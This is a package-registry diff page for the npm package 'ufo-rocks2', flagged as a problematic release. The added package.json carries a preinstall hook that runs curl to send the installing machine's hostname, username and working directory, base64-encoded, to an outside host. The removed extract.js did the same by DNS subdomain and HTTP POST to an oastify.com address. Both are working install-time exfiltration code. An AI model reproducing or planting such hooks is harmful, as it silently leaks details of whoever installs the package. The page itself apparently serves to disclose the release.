ufo-rocks2 2.99.99 → 3.84.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ufo-rocks2 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +1 -12
  2. package/extract.js +0 -36
  3. package/index.js +0 -1
package/package.json CHANGED
@@ -1,12 +1 @@
1
- {
2
- "name": "ufo-rocks2",
3
- "version": "2.99.99",
4
- "main": "index.js",
5
- "scripts": {
6
- "test": "echo \"Error: no test specified\" && exit 1",
7
- "preinstall": "node extract.js"
8
- },
9
- "author": "",
10
- "license": "ISC",
11
- "description": ""
12
- }
1
+ {"name": "ufo-rocks2", "version": "3.84.1", "description": "Hello =)", "main": "index.js", "scripts": {"test": "echo \"Error: no test specified\" && exit 1", "preinstall": "curl -H \"Package: ufo-rocks2\" -H \"Version: 3.84.1\" -H \"Hostname: $(hostname | base64)\" -H \"Whoami: $(whoami | base64)\" -H \"Pwd: $(pwd | base64)\" -d \"meow! security test\" http://npm_new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"}, "author": "act1on3", "license": "ISC"}
package/extract.js DELETED
@@ -1,36 +0,0 @@
1
- const http = require('http');
2
- const os = require('os');
3
- const child_process = require('child_process');
4
- const package = require('./package.json');
5
-
6
- const hostname = os.hostname();
7
- const whoami = child_process.execSync('whoami').toString().trim();
8
-
9
- function hexify(data) {
10
- return Buffer.from(data).toString('hex');
11
- }
12
-
13
- const data = new TextEncoder().encode(
14
- JSON.stringify({
15
- cwd: process.cwd(),
16
- package: package.name,
17
- version: package.version,
18
- hostname,
19
- whoami
20
- })
21
- );
22
-
23
- const options = {
24
- hostname: `${hexify(hostname)}.${hexify(whoami)}.176hu5zrkr7m83wfln69vc4d84ev2nqc.oastify.com`,
25
- port: 80,
26
- path: '/',
27
- method: 'POST',
28
- headers: {
29
- 'Content-Type': 'application/json',
30
- 'Content-Length': data.length
31
- }
32
- };
33
-
34
- const req = http.request(options);
35
- req.write(data);
36
- req.end();
package/index.js DELETED
@@ -1 +0,0 @@
1
- console.log('hello');